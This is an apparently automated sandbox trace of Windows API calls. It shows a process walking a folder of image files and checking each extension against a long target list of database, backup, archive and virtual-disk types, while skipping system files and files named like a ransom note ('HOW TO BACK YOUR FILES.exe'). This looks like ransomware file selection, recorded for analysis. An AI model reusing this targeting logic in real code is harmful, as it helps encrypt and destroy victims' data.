	[0051.429] lstrlenW (lpString="pdm") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0051.429] lstrlenW (lpString="pnz") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0051.429] lstrlenW (lpString="qry") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0051.429] lstrlenW (lpString="qvd") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0051.429] lstrlenW (lpString="rbf") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0051.429] lstrlenW (lpString="rctd") returned 4
	[0051.429] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0051.429] lstrlenW (lpString="rod") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0051.429] lstrlenW (lpString="rodx") returned 4
	[0051.429] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0051.429] lstrlenW (lpString="rpd") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0051.429] lstrlenW (lpString="rsd") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0051.429] lstrlenW (lpString="sas7bdat") returned 8
	[0051.429] lstrlenW (lpString="sbf") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0051.429] lstrlenW (lpString="scx") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0051.429] lstrlenW (lpString="sdb") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0051.430] lstrlenW (lpString="sdc") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0051.430] lstrlenW (lpString="sdf") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0051.430] lstrlenW (lpString="sis") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0051.430] lstrlenW (lpString="spq") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0051.430] lstrlenW (lpString="te") returned 2
	[0051.430] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0051.430] lstrlenW (lpString="teacher") returned 7
	[0051.430] lstrlenW (lpString="tmd") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0051.430] lstrlenW (lpString="tps") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0051.430] lstrlenW (lpString="trc") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0051.430] lstrlenW (lpString="trc") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0051.430] lstrlenW (lpString="trm") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0051.430] lstrlenW (lpString="udb") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0051.430] lstrlenW (lpString="udl") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0051.430] lstrlenW (lpString="usr") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0051.430] lstrlenW (lpString="v12") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0051.430] lstrlenW (lpString="vis") returned 3
	[0051.430] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0051.431] lstrlenW (lpString="vpd") returned 3
	[0051.431] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0051.431] lstrlenW (lpString="vvv") returned 3
	[0051.431] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0051.431] lstrlenW (lpString="wdb") returned 3
	[0051.431] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0051.431] lstrlenW (lpString="wmdb") returned 4
	[0051.431] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0051.431] lstrlenW (lpString="wrk") returned 3
	[0051.431] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0051.431] lstrlenW (lpString="xdb") returned 3
	[0051.431] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0051.431] lstrlenW (lpString="xld") returned 3
	[0051.431] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0051.431] lstrlenW (lpString="xmlff") returned 5
	[0051.431] lstrcmpiW (lpString1="3.png", lpString2="xmlff") returned -1
	[0051.431] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc07f6cf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc07f6cf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 1
	[0051.431] lstrcmpiW (lpString1="14.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.431] lstrcmpiW (lpString1="14.png", lpString2="Apollon865.txt.exe") returned -1
	[0051.431] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="14.png" | out: lpString1="14.png") returned="14.png"
	[0051.431] lstrlenW (lpString="14.png") returned 6
	[0051.431] lstrlenW (lpString="Apollon865") returned 10
	[0051.431] lstrlenW (lpString=".dll") returned 4
	[0051.431] lstrcmpiW (lpString1="14.png", lpString2=".dll") returned 1
	[0051.431] lstrlenW (lpString=".lnk") returned 4
	[0051.431] lstrcmpiW (lpString1="14.png", lpString2=".lnk") returned 1
	[0051.431] lstrlenW (lpString=".ini") returned 4
	[0051.431] lstrcmpiW (lpString1="14.png", lpString2=".ini") returned 1
	[0051.431] lstrlenW (lpString=".sys") returned 4
	[0051.431] lstrcmpiW (lpString1="14.png", lpString2=".sys") returned 1
	[0051.431] lstrlenW (lpString="14.png") returned 6
	[0051.432] lstrlenW (lpString="bak") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0051.432] lstrlenW (lpString="ba_") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0051.432] lstrlenW (lpString="dbb") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0051.432] lstrlenW (lpString="vmdk") returned 4
	[0051.432] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0051.432] lstrlenW (lpString="rar") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0051.432] lstrlenW (lpString="zip") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0051.432] lstrlenW (lpString="tgz") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0051.432] lstrlenW (lpString="vbox") returned 4
	[0051.432] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0051.432] lstrlenW (lpString="vdi") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0051.432] lstrlenW (lpString="vhd") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0051.432] lstrlenW (lpString="vhdx") returned 4
	[0051.432] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0051.432] lstrlenW (lpString="avhd") returned 4
	[0051.432] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0051.432] lstrlenW (lpString="db") returned 2
	[0051.432] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0051.432] lstrlenW (lpString="db2") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0051.432] lstrlenW (lpString="db3") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0051.432] lstrlenW (lpString="dbf") returned 3
	[0051.432] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0051.433] lstrlenW (lpString="mdf") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0051.433] lstrlenW (lpString="mdb") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0051.433] lstrlenW (lpString="sql") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0051.433] lstrlenW (lpString="sqlite") returned 6
	[0051.433] lstrlenW (lpString="sqlite3") returned 7
	[0051.433] lstrlenW (lpString="sqlitedb") returned 8
	[0051.433] lstrlenW (lpString="xml") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0051.433] lstrlenW (lpString="$er") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0051.433] lstrlenW (lpString="4dd") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0051.433] lstrlenW (lpString="4dl") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0051.433] lstrlenW (lpString="^^^") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0051.433] lstrlenW (lpString="abs") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0051.433] lstrlenW (lpString="abx") returned 3
	[0051.433] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0051.433] lstrlenW (lpString="accdb") returned 5
	[0051.433] lstrcmpiW (lpString1="4.png", lpString2="accdb") returned -1
	[0051.433] lstrlenW (lpString="accdc") returned 5
	[0051.433] lstrcmpiW (lpString1="4.png", lpString2="accdc") returned -1
	[0051.433] lstrlenW (lpString="accde") returned 5
	[0051.433] lstrcmpiW (lpString1="4.png", lpString2="accde") returned -1
	[0051.433] lstrlenW (lpString="accdr") returned 5
	[0051.433] lstrcmpiW (lpString1="4.png", lpString2="accdr") returned -1
	[0051.433] lstrlenW (lpString="accdt") returned 5
	[0051.434] lstrcmpiW (lpString1="4.png", lpString2="accdt") returned -1
	[0051.434] lstrlenW (lpString="accdw") returned 5
	[0051.434] lstrcmpiW (lpString1="4.png", lpString2="accdw") returned -1
	[0051.434] lstrlenW (lpString="accft") returned 5
	[0051.434] lstrcmpiW (lpString1="4.png", lpString2="accft") returned -1
	[0051.434] lstrlenW (lpString="adb") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.434] lstrlenW (lpString="adb") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.434] lstrlenW (lpString="ade") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0051.434] lstrlenW (lpString="adf") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0051.434] lstrlenW (lpString="adn") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0051.434] lstrlenW (lpString="adp") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0051.434] lstrlenW (lpString="alf") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0051.434] lstrlenW (lpString="ask") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0051.434] lstrlenW (lpString="btr") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0051.434] lstrlenW (lpString="cat") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0051.434] lstrlenW (lpString="cdb") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0051.434] lstrlenW (lpString="ckp") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0051.434] lstrlenW (lpString="cma") returned 3
	[0051.434] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0051.434] lstrlenW (lpString="cpd") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0051.435] lstrlenW (lpString="dacpac") returned 6
	[0051.435] lstrlenW (lpString="dad") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0051.435] lstrlenW (lpString="dadiagrams") returned 10
	[0051.435] lstrlenW (lpString="daschema") returned 8
	[0051.435] lstrlenW (lpString="db-journal") returned 10
	[0051.435] lstrlenW (lpString="db-shm") returned 6
	[0051.435] lstrlenW (lpString="db-wal") returned 6
	[0051.435] lstrlenW (lpString="dbc") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0051.435] lstrlenW (lpString="dbs") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0051.435] lstrlenW (lpString="dbt") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0051.435] lstrlenW (lpString="dbv") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0051.435] lstrlenW (lpString="dbx") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0051.435] lstrlenW (lpString="dcb") returned 3
	[0051.435] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0051.435] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="144DPI" | out: lpString1="144DPI") returned="144DPI"
	[0051.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0051.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599560
	[0051.435] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0051.435] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1
	[0051.435] lstrcmpiW (lpString1="15.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.435] lstrcmpiW (lpString1="15.png", lpString2="Apollon865.txt.exe") returned -1
	[0051.435] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="15.png" | out: lpString1="15.png") returned="15.png"
	[0051.435] lstrlenW (lpString="15.png") returned 6
	[0051.435] lstrlenW (lpString="Apollon865") returned 10
	[0051.436] lstrlenW (lpString=".dll") returned 4
	[0051.436] lstrcmpiW (lpString1="15.png", lpString2=".dll") returned 1
	[0051.436] lstrlenW (lpString=".lnk") returned 4
	[0051.436] lstrcmpiW (lpString1="15.png", lpString2=".lnk") returned 1
	[0051.436] lstrlenW (lpString=".ini") returned 4
	[0051.436] lstrcmpiW (lpString1="15.png", lpString2=".ini") returned 1
	[0051.436] lstrlenW (lpString=".sys") returned 4
	[0051.436] lstrcmpiW (lpString1="15.png", lpString2=".sys") returned 1
	[0051.436] lstrlenW (lpString="15.png") returned 6
	[0051.436] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="16.png" | out: lpString1="16.png") returned="16.png"
	[0051.436] lstrlenW (lpString="16.png") returned 6
	[0051.436] lstrlenW (lpString="Apollon865") returned 10
	[0051.436] lstrlenW (lpString=".dll") returned 4
	[0051.436] lstrcmpiW (lpString1="16.png", lpString2=".dll") returned 1
	[0051.436] lstrlenW (lpString=".lnk") returned 4
	[0051.436] lstrcmpiW (lpString1="16.png", lpString2=".lnk") returned 1
	[0051.436] lstrlenW (lpString=".ini") returned 4
	[0051.436] lstrcmpiW (lpString1="16.png", lpString2=".ini") returned 1
	[0051.436] lstrlenW (lpString=".sys") returned 4
	[0051.436] lstrcmpiW (lpString1="16.png", lpString2=".sys") returned 1
	[0051.436] lstrlenW (lpString="16.png") returned 6
	[0051.436] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="17.png" | out: lpString1="17.png") returned="17.png"
	[0051.436] lstrlenW (lpString="17.png") returned 6
	[0051.436] lstrlenW (lpString="Apollon865") returned 10
	[0051.436] lstrlenW (lpString=".dll") returned 4
	[0051.436] lstrcmpiW (lpString1="17.png", lpString2=".dll") returned 1
	[0051.436] lstrlenW (lpString=".lnk") returned 4
	[0051.436] lstrcmpiW (lpString1="17.png", lpString2=".lnk") returned 1
	[0051.436] lstrlenW (lpString=".ini") returned 4
	[0051.436] lstrcmpiW (lpString1="17.png", lpString2=".ini") returned 1
	[0051.437] lstrlenW (lpString=".sys") returned 4
	[0051.437] lstrcmpiW (lpString1="17.png", lpString2=".sys") returned 1
	[0051.437] lstrlenW (lpString="17.png") returned 6
	[0051.437] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="18.png" | out: lpString1="18.png") returned="18.png"
	[0051.437] lstrlenW (lpString="18.png") returned 6
	[0051.437] lstrlenW (lpString="Apollon865") returned 10
	[0051.437] lstrlenW (lpString=".dll") returned 4
	[0051.437] lstrcmpiW (lpString1="18.png", lpString2=".dll") returned 1
	[0051.437] lstrlenW (lpString=".lnk") returned 4
	[0051.437] lstrcmpiW (lpString1="18.png", lpString2=".lnk") returned 1
	[0051.437] lstrlenW (lpString=".ini") returned 4
	[0051.437] lstrcmpiW (lpString1="18.png", lpString2=".ini") returned 1
	[0051.437] lstrlenW (lpString=".sys") returned 4
	[0051.437] lstrcmpiW (lpString1="18.png", lpString2=".sys") returned 1
	[0051.437] lstrlenW (lpString="18.png") returned 6
	[0051.437] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="19.png" | out: lpString1="19.png") returned="19.png"
	[0051.437] lstrlenW (lpString="19.png") returned 6
	[0051.437] lstrlenW (lpString="Apollon865") returned 10
	[0051.437] lstrlenW (lpString=".dll") returned 4
	[0051.437] lstrcmpiW (lpString1="19.png", lpString2=".dll") returned 1
	[0051.437] lstrlenW (lpString=".lnk") returned 4
	[0051.437] lstrcmpiW (lpString1="19.png", lpString2=".lnk") returned 1
	[0051.437] lstrlenW (lpString=".ini") returned 4
	[0051.437] lstrcmpiW (lpString1="19.png", lpString2=".ini") returned 1
	[0051.437] lstrlenW (lpString=".sys") returned 4
	[0051.437] lstrcmpiW (lpString1="19.png", lpString2=".sys") returned 1
	[0051.437] lstrlenW (lpString="19.png") returned 6
	[0051.437] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="1px.gif" | out: lpString1="1px.gif") returned="1px.gif"
	[0051.438] lstrlenW (lpString="1px.gif") returned 7
	[0051.438] lstrlenW (lpString="Apollon865") returned 10
	[0051.438] lstrlenW (lpString=".dll") returned 4
	[0051.438] lstrcmpiW (lpString1="1px.gif", lpString2=".dll") returned 1
	[0051.438] lstrlenW (lpString=".lnk") returned 4
	[0051.438] lstrcmpiW (lpString1="1px.gif", lpString2=".lnk") returned 1
	[0051.438] lstrlenW (lpString=".ini") returned 4
	[0051.438] lstrcmpiW (lpString1="1px.gif", lpString2=".ini") returned 1
	[0051.438] lstrlenW (lpString=".sys") returned 4
	[0051.438] lstrcmpiW (lpString1="1px.gif", lpString2=".sys") returned 1
	[0051.438] lstrlenW (lpString="1px.gif") returned 7
	[0051.438] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="2.png" | out: lpString1="2.png") returned="2.png"
	[0051.438] lstrlenW (lpString="2.png") returned 5
	[0051.438] lstrlenW (lpString="Apollon865") returned 10
	[0051.438] lstrlenW (lpString=".dll") returned 4
	[0051.438] lstrcmpiW (lpString1="2.png", lpString2=".dll") returned 1
	[0051.438] lstrlenW (lpString=".lnk") returned 4
	[0051.438] lstrcmpiW (lpString1="2.png", lpString2=".lnk") returned 1
	[0051.438] lstrlenW (lpString=".ini") returned 4
	[0051.438] lstrcmpiW (lpString1="2.png", lpString2=".ini") returned 1
	[0051.438] lstrlenW (lpString=".sys") returned 4
	[0051.438] lstrcmpiW (lpString1="2.png", lpString2=".sys") returned 1
	[0051.438] lstrlenW (lpString="2.png") returned 5
	[0051.438] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="20.png" | out: lpString1="20.png") returned="20.png"
	[0051.438] lstrlenW (lpString="20.png") returned 6
	[0051.438] lstrlenW (lpString="Apollon865") returned 10
	[0051.438] lstrlenW (lpString=".dll") returned 4
	[0051.438] lstrcmpiW (lpString1="20.png", lpString2=".dll") returned 1
	[0051.438] lstrlenW (lpString=".lnk") returned 4
	[0051.438] lstrcmpiW (lpString1="20.png", lpString2=".lnk") returned 1
	[0051.439] lstrlenW (lpString=".ini") returned 4
	[0051.439] lstrcmpiW (lpString1="20.png", lpString2=".ini") returned 1
	[0051.439] lstrlenW (lpString=".sys") returned 4
	[0051.439] lstrcmpiW (lpString1="20.png", lpString2=".sys") returned 1
	[0051.439] lstrlenW (lpString="20.png") returned 6
	[0051.439] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="21.png" | out: lpString1="21.png") returned="21.png"
	[0051.439] lstrlenW (lpString="21.png") returned 6
	[0051.439] lstrlenW (lpString="Apollon865") returned 10
	[0051.439] lstrlenW (lpString=".dll") returned 4
	[0051.439] lstrcmpiW (lpString1="21.png", lpString2=".dll") returned 1
	[0051.439] lstrlenW (lpString=".lnk") returned 4
	[0051.439] lstrcmpiW (lpString1="21.png", lpString2=".lnk") returned 1
	[0051.439] lstrlenW (lpString=".ini") returned 4
	[0051.439] lstrcmpiW (lpString1="21.png", lpString2=".ini") returned 1
	[0051.439] lstrlenW (lpString=".sys") returned 4
	[0051.439] lstrcmpiW (lpString1="21.png", lpString2=".sys") returned 1
	[0051.439] lstrlenW (lpString="21.png") returned 6
	[0051.439] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="22.png" | out: lpString1="22.png") returned="22.png"
	[0051.439] lstrlenW (lpString="22.png") returned 6
	[0051.439] lstrlenW (lpString="Apollon865") returned 10
	[0051.439] lstrlenW (lpString=".dll") returned 4
	[0051.439] lstrcmpiW (lpString1="22.png", lpString2=".dll") returned 1
	[0051.439] lstrlenW (lpString=".lnk") returned 4
	[0051.439] lstrcmpiW (lpString1="22.png", lpString2=".lnk") returned 1
	[0051.439] lstrlenW (lpString=".ini") returned 4
	[0051.439] lstrcmpiW (lpString1="22.png", lpString2=".ini") returned 1
	[0051.439] lstrlenW (lpString=".sys") returned 4
	[0051.439] lstrcmpiW (lpString1="22.png", lpString2=".sys") returned 1
	[0051.439] lstrlenW (lpString="22.png") returned 6
	[0051.440] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="23.png" | out: lpString1="23.png") returned="23.png"
	[0051.440] lstrlenW (lpString="23.png") returned 6
	[0051.440] lstrlenW (lpString="Apollon865") returned 10
	[0051.440] lstrlenW (lpString=".dll") returned 4
	[0051.440] lstrcmpiW (lpString1="23.png", lpString2=".dll") returned 1
	[0051.440] lstrlenW (lpString=".lnk") returned 4
	[0051.440] lstrcmpiW (lpString1="23.png", lpString2=".lnk") returned 1
	[0051.440] lstrlenW (lpString=".ini") returned 4
	[0051.440] lstrcmpiW (lpString1="23.png", lpString2=".ini") returned 1
	[0051.440] lstrlenW (lpString=".sys") returned 4
	[0051.440] lstrcmpiW (lpString1="23.png", lpString2=".sys") returned 1
	[0051.440] lstrlenW (lpString="23.png") returned 6
	[0051.440] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="24.png" | out: lpString1="24.png") returned="24.png"
	[0051.440] lstrlenW (lpString="24.png") returned 6
	[0051.440] lstrlenW (lpString="Apollon865") returned 10
	[0051.440] lstrlenW (lpString=".dll") returned 4
	[0051.440] lstrcmpiW (lpString1="24.png", lpString2=".dll") returned 1
	[0051.440] lstrlenW (lpString=".lnk") returned 4
	[0051.440] lstrcmpiW (lpString1="24.png", lpString2=".lnk") returned 1
	[0051.440] lstrlenW (lpString=".ini") returned 4
	[0051.440] lstrcmpiW (lpString1="24.png", lpString2=".ini") returned 1
	[0051.440] lstrlenW (lpString=".sys") returned 4
	[0051.440] lstrcmpiW (lpString1="24.png", lpString2=".sys") returned 1
	[0051.440] lstrlenW (lpString="24.png") returned 6
	[0051.440] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="25.png" | out: lpString1="25.png") returned="25.png"
	[0051.440] lstrlenW (lpString="25.png") returned 6
	[0051.440] lstrlenW (lpString="Apollon865") returned 10
	[0051.440] lstrlenW (lpString=".dll") returned 4
	[0051.440] lstrcmpiW (lpString1="25.png", lpString2=".dll") returned 1
	[0051.441] lstrlenW (lpString=".lnk") returned 4
	[0051.441] lstrcmpiW (lpString1="25.png", lpString2=".lnk") returned 1
	[0051.441] lstrlenW (lpString=".ini") returned 4
	[0051.441] lstrcmpiW (lpString1="25.png", lpString2=".ini") returned 1
	[0051.441] lstrlenW (lpString=".sys") returned 4
	[0051.441] lstrcmpiW (lpString1="25.png", lpString2=".sys") returned 1
	[0051.441] lstrlenW (lpString="25.png") returned 6
	[0051.441] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="26.png" | out: lpString1="26.png") returned="26.png"
	[0051.441] lstrlenW (lpString="26.png") returned 6
	[0051.441] lstrlenW (lpString="Apollon865") returned 10
	[0051.441] lstrlenW (lpString=".dll") returned 4
	[0051.441] lstrcmpiW (lpString1="26.png", lpString2=".dll") returned 1
	[0051.441] lstrlenW (lpString=".lnk") returned 4
	[0051.441] lstrcmpiW (lpString1="26.png", lpString2=".lnk") returned 1
	[0051.441] lstrlenW (lpString=".ini") returned 4
	[0051.441] lstrcmpiW (lpString1="26.png", lpString2=".ini") returned 1
	[0051.441] lstrlenW (lpString=".sys") returned 4
	[0051.441] lstrcmpiW (lpString1="26.png", lpString2=".sys") returned 1
	[0051.441] lstrlenW (lpString="26.png") returned 6
	[0051.441] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="27.png" | out: lpString1="27.png") returned="27.png"
	[0051.441] lstrlenW (lpString="27.png") returned 6
	[0051.441] lstrlenW (lpString="Apollon865") returned 10
	[0051.441] lstrlenW (lpString=".dll") returned 4
	[0051.441] lstrcmpiW (lpString1="27.png", lpString2=".dll") returned 1
	[0051.441] lstrlenW (lpString=".lnk") returned 4
	[0051.441] lstrcmpiW (lpString1="27.png", lpString2=".lnk") returned 1
	[0051.441] lstrlenW (lpString=".ini") returned 4
	[0051.441] lstrcmpiW (lpString1="27.png", lpString2=".ini") returned 1
	[0051.441] lstrlenW (lpString=".sys") returned 4
	[0051.441] lstrcmpiW (lpString1="27.png", lpString2=".sys") returned 1
	[0051.442] lstrlenW (lpString="27.png") returned 6
	[0051.442] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="28.png" | out: lpString1="28.png") returned="28.png"
	[0051.442] lstrlenW (lpString="28.png") returned 6
	[0051.442] lstrlenW (lpString="Apollon865") returned 10
	[0051.442] lstrlenW (lpString=".dll") returned 4
	[0051.442] lstrcmpiW (lpString1="28.png", lpString2=".dll") returned 1
	[0051.442] lstrlenW (lpString=".lnk") returned 4
	[0051.442] lstrcmpiW (lpString1="28.png", lpString2=".lnk") returned 1
	[0051.442] lstrlenW (lpString=".ini") returned 4
	[0051.442] lstrcmpiW (lpString1="28.png", lpString2=".ini") returned 1
	[0051.442] lstrlenW (lpString=".sys") returned 4
	[0051.442] lstrcmpiW (lpString1="28.png", lpString2=".sys") returned 1
	[0051.442] lstrlenW (lpString="28.png") returned 6
	[0051.442] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="29.png" | out: lpString1="29.png") returned="29.png"
	[0051.442] lstrlenW (lpString="29.png") returned 6
	[0051.442] lstrlenW (lpString="Apollon865") returned 10
	[0051.442] lstrlenW (lpString=".dll") returned 4
	[0051.442] lstrcmpiW (lpString1="29.png", lpString2=".dll") returned 1
	[0051.442] lstrlenW (lpString=".lnk") returned 4
	[0051.442] lstrcmpiW (lpString1="29.png", lpString2=".lnk") returned 1
	[0051.442] lstrlenW (lpString=".ini") returned 4
	[0051.442] lstrcmpiW (lpString1="29.png", lpString2=".ini") returned 1
	[0051.442] lstrlenW (lpString=".sys") returned 4
	[0051.442] lstrcmpiW (lpString1="29.png", lpString2=".sys") returned 1
	[0051.442] lstrlenW (lpString="29.png") returned 6
	[0051.442] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="3.png" | out: lpString1="3.png") returned="3.png"
	[0051.442] lstrlenW (lpString="3.png") returned 5
	[0051.442] lstrlenW (lpString="Apollon865") returned 10
	[0051.442] lstrlenW (lpString=".dll") returned 4
	[0051.443] lstrcmpiW (lpString1="3.png", lpString2=".dll") returned 1
	[0051.443] lstrlenW (lpString=".lnk") returned 4
	[0051.443] lstrcmpiW (lpString1="3.png", lpString2=".lnk") returned 1
	[0051.443] lstrlenW (lpString=".ini") returned 4
	[0051.443] lstrcmpiW (lpString1="3.png", lpString2=".ini") returned 1
	[0051.443] lstrlenW (lpString=".sys") returned 4
	[0051.443] lstrcmpiW (lpString1="3.png", lpString2=".sys") returned 1
	[0051.443] lstrlenW (lpString="3.png") returned 5
	[0051.443] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="30.png" | out: lpString1="30.png") returned="30.png"
